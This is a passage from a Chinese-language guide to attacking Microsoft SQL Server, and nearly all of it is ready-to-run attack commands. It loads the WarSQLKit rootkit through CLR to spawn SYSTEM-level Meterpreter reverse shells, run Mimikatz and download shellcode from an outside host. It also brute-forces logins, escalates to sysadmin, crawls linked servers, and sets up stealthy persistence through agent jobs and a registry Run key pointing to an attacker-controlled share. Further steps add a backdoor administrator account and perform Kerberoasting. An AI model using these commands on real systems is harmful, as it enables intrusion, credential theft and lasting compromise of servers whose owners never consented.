00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    WITH PERMISSION_SET = UNSAFE;
GO

 

建立儲存過程

1
2
3
4
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go

利用CLR執行命令

1
exec dbo.ExecCommand "whoami /all";

WarSQLKit

WarSQLKit是一個針對MSSQL CLR進行利用的工具,有以下兩個版本。

  • WarSQLKit是完全版本,內建多種功能。
  • WarSQLKitMinimal是簡化版,只能執行命令。
1
https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit

匯入WarSQLKit DLL檔案

利用16進位制檔案流方式匯入WarSQLKit.dll檔案。

 

1
2
3
4
5
CREATE ASSEMBLY [WarSQLKit]
    AUTHORIZATION [dbo]
    FROM 0x4D5A......
    WITH PERMISSION_SET = UNSAFE;
GO

 

建立儲存過程

1
2
3
4
5
6
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](max)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO

WarSQLKit 執行命令

WarSQLKit CmdExec實現了以下功能

 

執行任意Windows命令

1
EXEC sp_cmdExec 'whoami';

 

以SYSTEM許可權執行Windows命令

1
EXEC sp_cmdExec 'whoami /RunSystemPriv';

 

以SYSTEM許可權執行PowerShell命令

1
EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS';

生成以SYSTEM許可權執行的X86 Meterpreter反向連線shell

1
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';

 

生成以SYSTEM許可權執行的X64 Meterpreter反向連線shell

1
EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';

生成以SYSTEM許可權執行的X64 Meterpreter RC4反向連線shell

1
2
EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'
RC4PASSWORD=123456

生成以SYSTEM許可權執行的X86 Meterpreter_bind_tcp shell

1
EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem';

每次使用 Meterpreter反彈都會建立一個reverse程式

 

 

執行Mimikatz功能抓取密碼

1
2
exec sp_cmdExec 'sp_Mimikatz';
select * from WarSQLKitTemp //獲取Mimikatz日誌

 

檔案下載

1
2
EXEC sp_cmdExec 'sp_downloadFile http://test.com/Invoke--Shellcode.ps1 C:\test\Invoke--Shellcode.ps1 300';
EXEC sp_cmdExec 'sp_downloadFile http://10.251.0.33/Invoke--Shellcode.ps1 C:\test\Invoke--Shellcode.ps1 300';

 

獲取MSSQL Hash

1
EXEC sp_cmdExec 'sp_getSqlHash';

 

獲取Windows Product

1
EXEC sp_cmdExec 'sp_getProduct';

 

獲取可用的資料庫

1
EXEC sp_cmdExec 'sp_getDatabases';

SQL Server R和Python的利用

SQL Server 2017加入了Microsoft機器學習服務,該服務允許透過SQL Server中sp_execute_external_script執行Python和R指令碼

 

利用條件:

  • Machine Learning Services必須要在Python安裝過程中選擇

  • 必須啟用外部指令碼

    1
    2
    EXEC sp_configure 'external scripts enabled', 1
    RECONFIGURE WITH OVERRIDE
    • 重新啟動資料庫伺服器
  • 使用者擁有執行任何外部指令碼許可權

R指令碼利用

利用R執行命令:

1
2
3
4
5
6
7
8
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe
/c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

利用R抓取Net-NTLM雜湊:

1
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'

Python指令碼利用

Python :

1
2
3
4
5
exec sp_execute_external_script
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))

執行命令:

1
2
3
4
5
6
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

SQL Server代理執行計劃任務

SQL Server代理是一項Microsoft Windows服務,它執行計劃的管理任務。

 

首先啟動SQL Server代理服務。

 

 

執行計劃任務。

1
2
3
4
5
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'c:\windows\system32\cmd.exe /c whoami /all >c:\\123.txt', @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';

攻擊方實戰思路分析

第三章簡單介紹了SQL Server中常見的一寫利用點,接下來介紹這些利用面在各個攻擊階段中的應用和一些思路。

SQL Server例項發現

SQL Server的例項發現,本地例項主要是透過檢查系統服務和登錄檔方式。遠端例項可以透過掃描TDS監聽服務、UDP廣播、SPN服務等方式。

 

常見的幾種例項發現工具:

1
osql -L

1
sqlcmd -L

1
import-module .\PowerUPSQL.psd1 //載入模組

1
Get-SQLInstanceBroadcast  //SQL Server例項發現

  • SQLPing3
  • Metasploit mssql_ping module

  • Nmap

  • Nessus
  • ……

本地例項發現

作為本地使用者,主要是透過檢查系統服務和登錄檔設定來標識SQL Server例項。

 

檢查系統服務

 

 

檢查登錄檔鍵值,也可判斷SQL Server例項

1
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server" /v InstalledInstances

 

使用PowerUpSQL,來識別本地例項。

1
2
import-module .\PowerUPSQL.psd1 //載入模組
Get-SQLInstanceLocal  //SQL Server例項發現

遠端例項發現

1
2
3
Get-SQLInstanceBroadcast -Verbose //UDP廣播Ping
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1 //UDP埠掃描
Get-SQLInstanceFile -FilePath c:\temp\computers.txt | Get-SQLInstanceScanUDPThreaded -Verbose //從檔案獲取例項列表

域內例項發現

域內例項主要利用SPN掃描發現例項,先簡單介紹一下什麼是SPN服務。

SPN服務

Windows 域環境是基於活動目錄(Active Directory)服務工作的。為了在域環境中有效地對資源訪問許可權進行精細控制,提高網路環境的安全性和方便網路資源統一分配管理。系統給域內每種資源分配了不同的服務主體名稱(Service Principal Name, SPN)。使用Kerberos協議進行身份驗證的域環境中,本地賬號SPN將自動註冊,但是,域內使用者賬號下執行的服務,必須為此域內賬戶手動註冊。如下圖SQL Server服務執行在域內使用者時的狀態。

 

 

因為域中每臺機器都要在Kerberos身份驗證服務中註冊SPN,所以攻擊者可以向域控制器(AD)傳送請求,獲取SPN相關資訊,得到某個服務資源在哪臺伺服器上。

 

SQL Server服務的SPN示例:

1
2
TERMSRV/MSSQL2.sec.com:1433
服務元件名稱/主機名.域名:監聽埠

域內使用者賬號下執行的服務,手動註冊SPN

1
setspn -A MSSQLSvc/MSSQL2.sec.com:1433 mssqluser

 

更多SPN相關介紹請檢視:https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spn-setspn-syntax.aspx

 

域中安裝的SQL Server會使用關聯的服務帳戶自動在活動目錄(Active Directory)中註冊,以支援Kerberos身份驗證。可以使用以下方式識別例項:

1
setspn -q */*

PowerUpSQL其他發現例項命令

描述 命令
使用備用域憑據發現Active Directory域SQL Server例項 runas /noprofile /netonly /user:domain\user PowerShell.exe import-module PowerUpSQL.psd1 Get-SQLInstanceDomain -Verbose -DomainController 192.168.1.1 -Username domain\user -password Password123
列出使用特定域帳戶的SQL Server例項 Get-SQLInstanceDomain -Verbose -DomainAccount mssqluser
列出共享域使用者SQL Server服務帳戶 Get-SQLInstanceDomain -Verbose \ Group-Object DomainAccount \ Sort-Object count -Descending \ select Count,Name \ Where-Object {($.name -notlike "$") -and ($.count -gt 1) }

SQL Server口令爆破

連線測試,兩種功能均可用於測試。

1
2
Get-SQLConnectionTestThreaded
Invoke-SQLAuditWeakLoginPw

 

爆破必須的幾個條件:

  • 常見的弱密碼
  • 當前的本地使用者訪問許可權
  • 當前域使用者訪問許可權
  • 備用域使用者訪問許可權

使用msf來執行爆破

1
use auxiliary/scanner/mssql/mssql_login

 

PowerUpSQL其他獲取賬戶相關命令:

描述 命令
獲取可用提供的SQL Server登入名登入的域SQL Server列表。 $Targets = Get-SQLInstanceDomain -Verbose \ Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username testuser -password testpass \ Where-Object {$_.Status -like "Accessible"} $Targets
獲取可以使用當前域帳戶登入的域SQL伺服器的列表。 $Targets = Get-SQLInstanceDomain -Verbose \ Get-SQLConnectionTestThreaded -Verbose -Threads 10 \ Where-Object {$_.Status -like "Accessible"} $Targets
獲取可以使用備用域帳戶登入的域SQL伺服器的列表。 runas /noprofile /netonly /user:domain\user PowerShell.exe Get-SQLInstanceDomain \ Get-SQLConnectionTestThreaded -Verbose -Threads 15
獲取可以使用非域系統中的備用域帳戶登入的域SQL伺服器的列表。 runas /noprofile /netonly /user:domain\user PowerShell.exe Get-SQLInstanceDomain -Verbose -Username 'domain\user' -Password 'MyPassword!' -DomainController 10.1.1.1 \ Get-SQLConnectionTestThreaded -Verbose -Threads 15
發現域SQL Server,並根據例項名稱確定它們是否配置有普通應用程式使用的預設密碼。 Get-SQLInstanceDomain \ Get-SQLServerLoginDefaultPw -Verbose

SQL Server許可權提升

許可權提升基本的一個思路:

 

 

域使用者可以到處登入的前置條件。

  • 新增了域使用者
  • 已新增本地使用者
  • 特權繼承

獲得Sysadmin許可權的一些利用點:

 

獲得低許可權賬號

可以使用常用的憑據執行爆破,但要注意帳戶鎖定。

 

以PowerUpSQL為例:

1
2
3
4
import-module .\PowerUPSQL.psd1 //載入模組。
Get-SQLInstanceScanUDP | Invoke-SQLAuditWeakLoginPw //從未經身份驗證的使用者角度發起攻擊。
Get-SQLInstanceDomain | Invoke-SQLAuditWeakLoginPw //從域使用者角度開始攻擊。
Get-SQLInstanceScanUDP | Get-SQLConnectionTestThreaded -Username <USERNAME> -Password <PASSWORD> //手動連線到已標識的SQL Server例項。

許多使用SQL Server Express作為後端的應用程式都是使用特定的憑據和例項名稱配置的。使用以下命令檢查這些憑據:

1
2
3
import-module .\PowerUPSQL.psd1 //載入模組。
Get-SQLInstanceDomain | Invoke-SQLAuditDefaultLoginPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw

如果與SQL Server的通訊未加密,我們可以執行MITM攻擊來注入們自己的查詢。根據欺騙的使用者特權,我們可以注入SQL登入名。

使用本地或域使用者賬號

嘗試使用當前帳戶登入到SQL Server。過多的登入特權是常見的配置。

1
2
3
import-module .\PowerUpSQL.psd1
Get-SQLInstanceDomain | Get-SQLConnectionTest
Get-SQLInstanceLocal | Get-SQLConnectionTest

從Public到Sysadmin

猜測弱密碼獲得高許可權角色賬號,一般需要以下兩步:

  • 列舉登入名
  • 猜測密碼

1.列舉登入名

 

預設情況下,Public角色成員不能選擇本地列表登入,但可以進行Fuzz登入名。如果嘗試列舉所有SQL Server登入名列舉,則只會看到其中一部分。查詢出所有SQL Server登入名:

1
SELECT name FROM sys.syslogins

1
SELECT name FROM sys.server_principals

 

suser_name返回給定主體ID的主體名稱。可以透過使用Public角色,在suser_name函式中列舉主體ID值來標識SQL登入名。查詢示例:

1
2
3
4
5
SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
SELECT SUSER_NAME(4)
...

 

2.猜測密碼

 

使用PowerUpSQL嘗試對那些已識別出的的SQL Server登入名使用弱口令爆破。

1
2
Get-SQLFuzzServerLogin -Instance ComputerNAme\InstanceName  //PowerUpSQL Blind SQL登入列舉
Invoke-SQLAuditWeakLoginPw

3.獲取當前域內使用者名稱

 

public角色可以獲取當前域資訊,有利用盲猜域內其他組SID或使用者名稱。

 

獲取SQL Server所在的域:

1
SELECT DEFAULT_DOMAIN() as mydomain

 

獲取域內使用者的完整SID。

1
SELECT SUSER_SID('<Identified_Domain>\Domain Admins')

1
0x010500000000000515000000CAAE870FA5F89ACD856A619851040000

獲取域內Admins組的完整RID。

1
SELECT SUSER_SID('<Identified_Domain>\Domain Admins')

1
0x010500000000000515000000CAAE870FA5F89ACD856A619800020000

抓取完整RID的前48個位元組以獲取域的SID。透過將十六進位制數字值附加到先前的SID來建立新的RID(將與域物件相關聯)。

1
2
RID=0x010500000000000515000000CAAE870FA5F89ACD856A619851040000
SELECT SUSER_NAME(RID)  //獲取與RID關聯的域物件名稱。

PowerUpSQL也可盲猜域帳戶。

1
Get-SQLFuzzDomainAccount -Instance ComputerNAme\InstanceName

利用Public獲得更多許可權

在具有對SQL Server的Public許可權賬號的上下文中,最常用的獲取執行許可權的方法是:

  • 特權模擬
  • 儲存過程和觸發器建立/注入
  • 寫入儲存過程的自動執行
  • SQL Server代理任務
  • xp_cmdshell
  • 建立資料庫連結到檔案或伺服器
  • 匯入/安裝自定義CLR程式集
  • 臨時查詢
  • 共享服務帳戶
  • 資料庫連結
  • UNC路徑注入
  • Python/R指令碼執行。

以上大部分內容在SQL Server常用攻擊面已經介紹,不再贅述,下面簡單介紹一下前面未提的方法。

 

1.特權模擬

 

SQL Server中有一個特權/許可權,它允許許可權較低的使用者,模擬行使另一個具有更多訪問許可權的使用者。不限制執行查詢/命令,但必須將資料庫配置為允許OS命令執行物件。

 

EXECUTE AS語句

 

預設情況下,會話在使用者登入時開始,並在使用者登出時結束。會話期間的所有操作都必須對該使用者進行許可權檢查。當一個EXECUTE AS語句執行,會話的執行上下文切換到指定的登入名或使用者名稱。上下文切換之後,將針對該帳戶的登入名和使用者安全性令牌而不是呼叫EXECUTE AS語句的人員檢查許可權。本質上,在會話或模組執行期間將模擬使用者或登入帳戶,或者顯式還原上下文切換。

 

使用public角色使用者testuser,手動檢查是否是sa登入:

1
2
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin') //檢查SQL Server 登入名是否為指定伺服器角色的成員。

1
EXECUTE AS LOGIN = 'sa'  //模擬sa資料庫級別,對於伺服器級別,請使用EXECUTE AS USER。

 

再次使用public角色使用者testuser,手動檢查目前模擬為sa登入:

1
2
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

 

2.儲存過程和觸發器建立/注入

 

開發人員的一個常見錯誤是將他們要使用的所有功能,將其寫入儲存過程中,以便能夠在其他使用者的上下文中執行。這些儲存過程可以作為資料庫的所有者(擁有所有者的EXECUTE AS)來執行,以使它可以訪問其他資源。也可以在高許可權使用者的上下文中進行執行,並且不需要授予特權。但是,從安全的角度來看,採用此方法有一些缺點:

  • 無法精細控制資料庫所有者的許可權。
  • 普通帳戶或sysadmin帳戶通常擁有資料庫。

DB_OWNER角色可以使用EXECUTE AS OWNER在sa或sysadmin帳戶的上下文中執行。如果這些儲存過程實現不安全,則可以透過擴充套件儲存過程來透過SQL隱碼攻擊或命令注入進行模擬。例子:

1
2
3
4
5
6
7
USE test2
GO
CREATE PROCEDURE test_imitation2
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'testuser','sysadmin'
GO

必須將資料庫配置為值得信賴的OS命令執行程式。雖然可以透過SQL或命令注入進行模擬,但是建立儲存過程或觸發器是更好的選擇。

 

 

攻擊場景:

 

DBA對Web應用程式執行以下操作:

1
2
3
4
5
6
CREATE LOGIN somebody WITH PASSWORD = 'Password123'//為WebApp建立SQL登入名。
USE test
ALTER LOGIN [somebody] with default database = [test];
CREATE USER somebody FROM LOGIN [somebody];
EXEC sp_addrolemember [db_owner], [somebody];  //為此SQL登入名分配db_owner角色。Webapp可以從資料庫訪問所需的任何內容。
ALTER DATABASE CurrentDB SET TRUSTWORTHY ON  //將資料庫設定為可信任的訪問外部資源。

可以在查詢中識別此類資料庫

1
SELECT SUSER_NAME(owner_id) as DBOWNER, d.name as DATABASENAME FROM sys.server_principals r INNER JOIN sys.server_role_members m on r.principal_id = m.role_principal_id INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id inner join sys.databases d on suser_sname(d.owner_sid) = p.name WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'

 

可以使用以下metasploit模組自動進行探測

1
2
auxiliary/admin/mssql/mssql_escalate_dbowner
auxiliary/admin/mssql/mssql_escalate_dbowner_sqi

更多方法可參考NetSpi部落格

 

3.服務帳戶

 

SQL Server所有版本都為服務帳戶提供sysadmin特權。

 

列出常見的一些服務帳戶型別:

  • 域使用者
  • 本地使用者
  • 本地系統
  • 網路服務
  • 本地託管服務帳戶
  • 域託管服務帳戶

PowerUpSQL的Invoke-SQLOSCMD可用於基本命令執行。

 

對於單個主機例項:

1
Invoke-SQLOSCMD –Verbose –Instance "server1\instance1" –Command "whoami"

對於域內例項:

1
Get-SQLInstanceDomain | InvokeSQLOSCMD –Verbose –Command "whoami"

如果我們攻擊了一個SQL Server,那麼我們也將使用該共享帳戶來攻擊所有SQL Server。

 

4.爬資料庫連結

 

資料庫連結(Database Link)本質上是兩個伺服器之間的持久連線。資料庫連結(Database Link)的作用是,允許一個資料庫伺服器去對其他的資料庫伺服器進行查詢。資料連結可以用不同的方式進行配置,但是更多時候我們看到它們使用硬編碼的憑據。

 

Public角色使用openquery()函式,對被連結的資料庫伺服器進行查詢;也可以執行xp_cmdshell,對遠端訪問也無憑證要求。通常配置此功能會使資料庫伺服器,擁有過多的特權。因此允許在遠端伺服器上的模擬登入,切換到高許可權賬號的上下文中。

 

下圖簡單說明當資料庫對連結查詢功能配置過高特權時,注入的payload是如何被傳遞:

 

<img src="./許可權提升/15.png" style="zoom:100%;" />

 

列出所有連結的伺服器名,通常有兩個選項

1
exec sp_linkedservers

1
SELECT srvname FROM master..syservers

 

查詢一個伺服器的所有連結的伺服器名:

1
SELECT srvnaem From openquery(DB1, 'select srvname FROM master..sysservers')

查詢一個伺服器的某個連結的伺服器所連結的伺服器名:

1
SELECT srvnaem From openquery(DB1, 'select srvname FROM openquery(HVA, "SELECT srvname FROM master..syservers")')

查詢可以一直巢狀執行,直到窮盡所有資料庫伺服器。在連結的伺服器上執行命令:

1
SELECT * FROM openquery(DB1, 'SELECT * FROM openquery(HVA, "SELECT 1; exec xp_cmdshell'"'ping 192.168.1.1"" '')')

SQL Server 2005 存在連結爬網命令執行漏洞,使用msf的mssql_linkcrawler模組可獲得反彈shell。

1
use exploit/windows/mssql/mssql_linkcrawler

 

 

自動化爬網的工具:

從系統管理員到Sysadmin

首先先了解三個點:

  • SQL Server較舊的版本為本地管理員提供sysadmin特權
  • SQL Server較舊的版本為本地系統提供sysadmin特權
  • SQL Server所有版本都為SQL Server服務帳戶提供sysadmin特權

以下是利用點和常用工具列表:

利用點 常用工具
本地管理員身份訪問DB Management Studio,sqlcmd和其他SQL客戶端工具。
本地系統身份訪問DB Psexec,可訪問性選項,帶有本機SQL客戶端工具的偵錯程式。
透過LSA Secrets恢復服務帳戶密碼 Mimikatz, Metasploit, lsadump.
SQL Server服務程式注入 Metasploit, Python, Powershell (LoadLibrary,CreateRemoteThread等類似的功能)
從服務程式中竊取身份驗證令牌 Metasploit, Incognito, Invoke-TokenManipulation
單使用者模式 DBATools
 

以上利用點不一定適用所有SQL Server所有版本,下面簡單列出一下適用版本(√:適用,×:不適用,?:可能適用),僅供參考:

利用點 SQL Server 2000 SQL Server 2005 SQL Server 2008 SQL Server 2012 SQL Server 2014 SQL Server 2016
服務憑證
本地管理員 × × × ×
本地系統 × × ×
SQL Server程式注入 ?
令牌竊取 ?
單使用者模式 ?
 

附PowerUpSQL一些執行命令:

描述 命令
SQL Server帳戶的域使用者。 以域使用者身份執行時,此功能將自動執行4件事。1.透過LDAP查詢到DC的SPN來識別域上的SQL Server。2.嘗試登入每個。3.使用多種方法執行UNC路徑注入。4.嘗試捕獲關聯的SQL Server服務帳戶的密碼雜湊。 Invoke-SQLUncPathInjection -Verbose -CaptureIp 10.1.1.12
透過服務帳戶模擬將OS管理員轉換為sysadmin,然後所有PowerUpSQL命令都可以以sysadmin身份執行。 Invoke-SQLImpersonateService -Verbose -Instance MSSQLSRV04\BOSCHSQL
稽核問題 Invoke-SQLAudit -Verbose -Instance SQLServer1
升級到sysadmin Invoke-SQLEscalatePriv -Verbose -Instance SQLServer1
執行OS命令:xp_cmdshell $Targets \ Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10
執行OS命令:自定義擴充套件儲存過程 Create-SQLFileXpDll -OutFile c:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test -Verbose將test.dll放在在SQL Server服務帳戶可讀的共享上。Get-SQLQuery -Verbose -Query "sp_addextendedproc 'xp_test', '\yourserver\yourshare\myxp.dll'"`xp_test `sp_dropextendedproc 'xp_test'
執行OS命令:CLR $Targets \ Invoke-SQLOSCLR -Verbose -Command "Whoami"
執行OS命令:Ole自動化過程 $Targets \ Invoke-SQLOSOle -Verbose -Command "Whoami"
執行OS命令:外部指令碼-R $Targets \ Invoke-SQLOSR -Verbose -Command "Whoami"
執行OS命令:外部指令碼-Python $Targets \ Invoke-SQLOSPython -Verbose -Command "Whoami"
執行OS命令:代理作業-CmdExec $Targets \ Invoke-SQLOSCmdAgentJob -Verbose -SubSystem CmdExec -Command "echo hello > c:\windows\temp\test1.txt"
執行OS命令:代理作業-PowerShell $Targets \ Invoke-SQLOSCmdAgentJob -Verbose -SubSystem PowerShell -Command 'write-output "hello world" \ out-file c:\windows\temp\test2.txt' -Sleep 20
執行OS命令:代理作業-VBScript $Targets \ Invoke-SQLOSCmdAgentJob -Verbose -SubSystem VBScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test3.txt'
執行OS命令:代理作業-JScript $Targets \ Invoke-SQLOSCmdAgentJob -Verbose -SubSystem JScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test3.txt'
檢索資料庫連結 Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1
檢索資料庫連結並執行查詢 Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1 -Query "select name from master..sysdatabases"
抓取資料庫連結並執行OS命令 Get-SQLCrawl -instance "SQLSERVER1\Instance1" -Query "exec master..xp_cmdshell 'whoami'"
轉儲代理任務的內容。通常包含密碼。詳細輸出包括作業摘要資料。 $Results = Get-SQLAgentJob -Verbose -Instance Server1\Instance1 -Username sa -Password '123qweASD'
列舉所有SQL登入名作為最低特權使用者,並測試使用者名稱作為密碼。 針對單個伺服器 Invoke-SQLAuditWeakLoginPw -Verbose -Instance SQLServer1\Instance1 執行針對域SQL Server執行 $WeakPasswords = Get-SQLInstanceDomain -Verbose \ Invoke-SQLAuditWeakLoginPw -Verbose $WeakPasswords

SQL Server許可權維持

利用SQL Server設定許可權維持方法,主要還是靠SQL Server代理作業,定期執行計劃任務。為了實現無檔案攻擊,還利用CLR程式集功能,載入惡意DLL檔案。透過這兩種內建功能進行持久化,實現了在無檔案落地、無其他程式的情況下,實施許可權維持。

 

此持久化有幾個前提條件:

  • 啟動SQL Server代理服務
  • 開啟CLR功能
  • 將儲存.Net程式集的資料庫配置為可信賴的

以上均在SQL Server代理執行計劃任務和SQL Server CLR相關利用詳細介紹。

高隱蔽性持久化

連線SQL Server資料庫後,建立SQL Server代理作業,定時執行SQL語句呼叫惡意的使用者自定義儲存過程或函式利用SQL語句將CLR程式集以十六進位制形式載入載入進資料庫,實現透過使用者自定義函式呼叫惡意的CLR程式集。已建立的SQL Server代理作業,定期執行計劃任務,呼叫CLR程式集,實現無檔案持久化。

 

首先建立名為CreateWarSQLKit的儲存過程(WarSQLKit相關的利用可檢視第二章中SQL ServerCLR相關利用的WarSQLKit篇章)

1
2
3
4
5
6
7
USE msdb;
CREATE procedure CreateWarSQLKit as
    CREATE ASSEMBLY [WarSQLKit]
    AUTHORIZATION [dbo]
    FROM 0x4D5A......
    WITH PERMISSION_SET = UNSAFE;
GO

 

建立SQL Server代理作業,定期執行CreateWarSQLKit,實現WarSQLKit的DLL檔案持久化。

1
2
3
4
5
6
7
8
9
10
11
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_CreateWarSQLKit_job1';
EXEC sp_add_jobstep
    @job_name = N'test_CreateWarSQLKit_job1',
    @step_name = N'test_CreateWarSQLKit_name1',
    @subsystem = N'TSQL',
    @command = N'exec CreateWarSQLKit',
    @retry_attempts = 5,
    @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_CreateWarSQLKit_job1';
EXEC dbo.sp_start_job N'test_CreateWarSQLKit_job1';

其他方式實現持久化

除了正常利用SQL Server可以執行系統命令的儲存過程,以下操作都是作為SQL物件儲存在資料庫中,並且沒有任何更改到磁碟,也可以做到無檔案持久化。

 

可以為utilman.exe設定偵錯程式,該偵錯程式將在呼叫cmd.exe時執行。僅sysadmins特權。

1
2
import-module .\PowerUPSQL.psd1
Get-SQLPersistentRegDebugger -Verbose -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Instance SQLServerName\InstanceName'

可以利用CurrentVersion \run與xp_regwrite建立。僅sysadmins特權。

1
2
import-module .\PowerUPSQL.psd1
Get-SQLPersistentRegRun -Verbose -Name legit -Command '\\attacker_controlled_ip\malicious.exe' -Instance 'SQLServerName\InstanceName'

可以將所有自定義CLR程式集匯出到DLL,最後匯入後門CLR。僅sysadmins特權。

1
2
3
import-module .\PowerUPSQL.psd1
$Results = Get-SQLStoredProcedureCLR -Verbose -Instance 'SQLServerName\InstanceName' -UserName sa -Password 'password' -ExportFolder c:\temp
Create-SQLFileCLRDll -Verbose -SourceDllPath c:\temp\evil.exe

如果遇到SQLServer中的xplog70.dll檔案被刪除或放到其他地方了, xp_cmdshell就無法執行我們發出的命令了。可以考慮SQLServer中有一系列與OLE相關的儲存過程,這一系列的儲存過程同xp_cmdshell以及讀取登錄檔系列的儲存過程一樣危險,所以被刪除的可能性就小一些。這系列的儲存過程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop。

 

可以在系統新增一個使用者名稱為test,密碼為12345678,並加入管理員組。

1
2
3
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC  SP_OAMETHOD @shell,'run',null, 'c:\windows\system32\cmd.exe /c net user test  12345678 /add'
 
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT  EXEC SP_OAMETHOD @shell,'run',null, 'c:\windows\system32\cmd.exe /c net  localgroup administrators test /add '

xp_cmdshell、SP_OACREATE等可執行系統命令的儲存過程,以及與它們相對應的動態連線庫檔案(DLL)都被刪除了,還可以讀取和修改登錄檔的儲存過程(xp_regread、xp_regwrite)來克隆對方系統的管理員使用者。

 

PowerUpSQL命令參考:

描述 命令
將所有自定義CLR程式集匯出到DLL。它們可以離線反編譯,並且通常包含密碼。而且,無需過多努力即可將其借殼。 $Results = Get-SQLStoredProcedureCLR -Verbose -Instance Server1\Instance1 -Username sa -Password 'P@ssword!' -ExportFolder c:\temp `$Results Out-GridView`
建立一個可用於匯入現有(或後門)CLR程式集的SQL命令。 Create-SQLFileCLRDll -Verbose -SourceDllPath c:\temp\evil.dll 部落格:https://blog.netspi.com/attacking-sql-server-clr-assemblies/)://blog.netspi.com/attacking-sql-server-clr-assemblies/
建立可用於匯入CLR程式集以執行OS命令的DLL和SQL命令。 Create-SQLFileCLRDll -Verbose -ProcedureName runcmd -OutDir c:\temp -OutFile evil
獲取共享SQL Server服務帳戶的列表。 `Get-SQLInstanceDomain -Verbose Select-Object DomainAccount, ComputerName -Unique Group-Object DomainAccount Sort-Object Count -Descending` 注意:任何大於1的計數都表示在多個系統上使用的域帳戶可能會被用於SMB中繼攻擊。

SQL Server橫向移動

Kerberoast攻擊

利用傳統的Kerberoast攻擊方式進行橫向移動,Kerberoast是一種針對Kerberos協議的攻擊方式。根據Kerberos協議,當向活動目錄完成身份驗證後,金鑰分發中心(KDC)會將服務授權的票據(TGT)傳送給使用者,作為訪問資源時的身份憑證。當需要訪問資源,向票據伺服器(TGS)傳送Kerberos票據時,首先需要使用具有有效身份使用者的票據(TGT)向票據伺服器(TGS)請求鄉音的服務票據。當該票據(TGT)被驗證具有此服務的許可權是,會向使用者傳送一張新的票據。新的票據使用SPN關聯的計算機中的服務賬號的NTLM Hash。攻擊者可以嘗試不同的NTLM Hash來開啟Kerberos票據。NTLM Hash對應的是服務賬號的密碼。

 

實施此攻擊前有幾個前提條件:

  • 域內使用者執行的SQL Server已經手動註冊過SPN
  • Kerberos協議加密方式為RC4_HMAC_MD5

透過SQL Server能執行PowerShell命令的利用點和匯入特定功能的CLR程式集即可完成Kerberoast攻擊。

 

檢視指定域內使用者所註冊的SPN

1
setspn -L SEC\MSSQL2

 

透過上文設定WarSQLKit的DLL存在sp_Mimikatz儲存,執行mimikatz。

1
2
exec sp_cmdExec 'sp_Mimikatz';
select * from WarSQLKitTemp //獲取Mimikatz日誌

 

或者利用任何一種可以執行PowerShell命令的方式,可以請求到SPN的Kerberos票據:

1
2
3
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/MSSQL2.sec.com:1433"
exec xp_cmdshell 'powershell Add-Type -AssemblyName System.IdentityModel ; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/MSSQL2.sec.com:1433"'

 

 

之後可以使用PowerShell命令遠端下載部署mimikatz,或者kerberoast

1
#mimikatz:kerberos::list /export

